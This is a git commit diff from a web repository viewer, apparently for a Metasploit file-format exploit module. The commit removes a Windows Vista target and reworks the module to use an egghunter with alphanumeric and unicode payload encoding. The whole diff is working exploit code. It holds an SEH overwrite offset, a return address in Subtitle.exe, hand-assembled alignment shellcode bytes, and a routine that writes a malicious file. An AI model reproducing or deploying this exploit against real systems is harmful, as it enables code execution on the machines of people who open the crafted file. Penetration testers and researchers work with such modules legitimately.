Fix #5937. Vista is currently taken down because it's not stable enough.
git-svn-id: file:///home/svn/framework3/trunk@14188 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
2d80d1e144
commit
c4fa5b4674
|
@ -15,6 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
Rank = NormalRanking
|
Rank = NormalRanking
|
||||||
|
|
||||||
include Msf::Exploit::FILEFORMAT
|
include Msf::Exploit::FILEFORMAT
|
||||||
|
include Msf::Exploit::Egghunter
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
@ -41,8 +42,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
{
|
{
|
||||||
'BadChars' => "\x00\x0a\x0c\x0d\x1a\x3a\x5c\x80",
|
'BadChars' => "\x00\x0a\x0c\x0d\x1a\x3a\x5c\x80",
|
||||||
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
|
|
||||||
'BufferRegister' => 'ECX',
|
|
||||||
'StackAdjustment' => -3500,
|
'StackAdjustment' => -3500,
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
|
@ -55,23 +54,15 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
[
|
[
|
||||||
'Windows XP SP3',
|
'Windows XP SP3',
|
||||||
{
|
{
|
||||||
'Nop' => 0x43, #ADD BYTE PTR DS:[EBX],AL
|
'Nop' => "\x43", #ADD BYTE PTR DS:[EBX],AL
|
||||||
'Offset' => 4078, #Offset to SEH chain
|
'Offset' => 4078, #Offset to SEH chain
|
||||||
'Ret' => 0x57b4, #Unicode compatible P/P/R (Subtitle.exe)
|
'Ret' => 0x57b4, #Unicode compatible P/P/R (Subtitle.exe)
|
||||||
'Max' => 5000, #Max buffer size
|
'Max' => 6000 #Max buffer size
|
||||||
},
|
},
|
||||||
],
|
],
|
||||||
[
|
|
||||||
'Windows Vista SP0',
|
|
||||||
{
|
|
||||||
'Nop' => 0x40, #ADD BYTE PTR DS:[EAX],AL
|
|
||||||
'Offset' => 4078, #Offset to SEH chain
|
|
||||||
'Ret' => 0x57b4, #Unicode compatible P/P/R (Subtitle.exe)
|
|
||||||
'Max' => 5000, #Max buffer size
|
|
||||||
}
|
|
||||||
],
|
|
||||||
],
|
],
|
||||||
'Privileged' => false,
|
'Privileged' => false,
|
||||||
|
'DefaultTarget' => 0,
|
||||||
'DisclosureDate' => "Apr 26 2011" ))
|
'DisclosureDate' => "Apr 26 2011" ))
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
|
@ -80,93 +71,59 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def get_unicode_payload(p)
|
def get_unicode_payload(p, opts)
|
||||||
|
encoder = framework.encoders.create("x86/alpha_mixed")
|
||||||
|
encoder.datastore.import_options_from_hash({'BufferRegister' => opts[:AlphaNumRegister] })
|
||||||
|
alpha_payload = encoder.encode(p, nil, nil, platform)
|
||||||
|
|
||||||
|
# This code can be found after the unicode payload is decoded
|
||||||
|
alignment = opts[:PrependAlignment] || ""
|
||||||
|
|
||||||
encoder = framework.encoders.create("x86/unicode_mixed")
|
encoder = framework.encoders.create("x86/unicode_mixed")
|
||||||
encoder.datastore.import_options_from_hash( {'BufferRegister'=>'ECX'} )
|
encoder.datastore.import_options_from_hash( {'BufferRegister'=> opts[:UnicodeRegister] })
|
||||||
unicode_payload = encoder.encode(p, nil, nil, platform)
|
unicode_payload = encoder.encode(alignment + alpha_payload, nil, nil, platform)
|
||||||
return unicode_payload
|
return unicode_payload
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
|
|
||||||
#NOP between each instruction
|
|
||||||
nop = target['Nop']
|
nop = target['Nop']
|
||||||
|
|
||||||
sploit = ''
|
sploit = ''
|
||||||
|
|
||||||
#Create the exploit
|
hunter, p = generate_egghunter(payload.encoded, payload_badchars, { :checksum => false })
|
||||||
if target.name =~ /XP/
|
|
||||||
|
|
||||||
#PUSH ESI / POP EAX / XOR AL,73 / INC EAX / XOR AL,C2 / XCHG EAX,ECX / JMP ECX
|
opts = {
|
||||||
alignment = "\x56\x58\x34\x73\x40\x34\xc2\x91\xff\xe1"
|
:AlphaNumRegister => 'EAX',
|
||||||
tmp = alignment << payload.encoded
|
:UnicodeRegister => 'ECX',
|
||||||
p = get_unicode_payload(tmp)
|
# PUSH EBX; POP EAX; XOR AX, 0x4450; XOR AX, 0x4634; DEC EAX; XOR AL, 0x41; XOR AL, 0x57
|
||||||
|
:PrependAlignment => "\x53\x58\x66\x35\x50\x44\x66\x35\x34\x46\x48\x34\x41\x34\x57"
|
||||||
|
}
|
||||||
|
hunter = get_unicode_payload(hunter, opts)
|
||||||
|
|
||||||
#4050 bytes for shellcode
|
sploit << rand_text_alpha(target['Offset'])
|
||||||
sploit << rand_text_alpha(2) #Padding
|
sploit << "\x61"
|
||||||
sploit << p
|
sploit << nop
|
||||||
sploit << rand_text_alpha(target['Offset']-sploit.length)
|
sploit << [target.ret].pack('V*')
|
||||||
sploit << "\x61"
|
sploit << nop
|
||||||
sploit << nop
|
# first stage starts here
|
||||||
sploit << [target.ret].pack('V*')
|
sploit << "\x59" #POP ECX
|
||||||
sploit << nop
|
sploit << nop
|
||||||
sploit << "\x61" #POPAD
|
sploit << "\x54" #PUSH ESP
|
||||||
sploit << nop
|
sploit << nop
|
||||||
sploit << "\x61" #POPAD
|
sploit << "\x59" #POP ECX
|
||||||
sploit << nop
|
sploit << "\x41" #ADD BYTE PTR DS:[ECX], AL
|
||||||
sploit << "\x61" #POPAD
|
sploit << "\x59" #POP ECX
|
||||||
sploit << nop
|
sploit << nop
|
||||||
sploit << "\x51" #PUSH ECX (for x86/unicode_mixed)
|
sploit << "\x51" #PUSH ECX
|
||||||
sploit << nop
|
sploit << nop
|
||||||
sploit << "\x5e" #POP ESI (for AlphanumMixed BufferRegister=ECX)
|
sploit << "\xc3" #RET
|
||||||
sploit << nop
|
sploit << rand_text_alpha(48)
|
||||||
sploit << "\x51" #PUSH ECX
|
sploit << hunter
|
||||||
sploit << nop
|
sploit << rand_text_alpha(200)
|
||||||
sploit << "\xc3" #RETN
|
sploit << p
|
||||||
sploit << rand_text_alpha(target['Max']-sploit.length)
|
sploit << rand_text_alpha(target['Max']-sploit.length)
|
||||||
|
|
||||||
elsif target.name =~ /Vista/
|
|
||||||
|
|
||||||
# PUSH ESI / POP ECX / XOR CL,5F / XOR CL, 70 / INC ECX / XOR CL,FF / INC ECX / XOR CL,5F / XOR CL,4E / JMP ECX
|
|
||||||
alignment = "\x56\x59\x80\xf1\x5f\x80\xf1\x70\x41\x80\xf1\xff\x41\x80\xf1\x5f\x80\xf1\x4e\xff\xe1"
|
|
||||||
tmp = alignment << payload.encoded
|
|
||||||
p = get_unicode_payload(tmp)
|
|
||||||
|
|
||||||
#4008 bytes of space for shellcode
|
|
||||||
sploit << rand_text_alpha(62)
|
|
||||||
sploit << p
|
|
||||||
sploit << rand_text_alpha(target['Offset']-sploit.length)
|
|
||||||
sploit << "\x61"
|
|
||||||
sploit << nop
|
|
||||||
sploit << [target.ret].pack('V*')
|
|
||||||
sploit << nop
|
|
||||||
sploit << "\x61"
|
|
||||||
sploit << nop
|
|
||||||
sploit << "\x61"
|
|
||||||
sploit << nop
|
|
||||||
sploit << "\x5e"
|
|
||||||
sploit << nop
|
|
||||||
sploit << "\x5e"
|
|
||||||
sploit << nop
|
|
||||||
sploit << "\x5e"
|
|
||||||
sploit << nop
|
|
||||||
sploit << "\x5e"
|
|
||||||
sploit << nop
|
|
||||||
sploit << "\x56"
|
|
||||||
sploit << nop
|
|
||||||
sploit << "\x59"
|
|
||||||
sploit << nop
|
|
||||||
sploit << "\x56"
|
|
||||||
sploit << nop
|
|
||||||
sploit << "\xc3"
|
|
||||||
sploit << nop
|
|
||||||
sploit << rand_text_alpha(target['Max']-sploit.length)
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
#Generate file
|
#Generate file
|
||||||
print_status("Creating #{datastore['FILENAME']}...")
|
print_status("Creating #{datastore['FILENAME']}...")
|
||||||
file_create(sploit)
|
file_create(sploit)
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue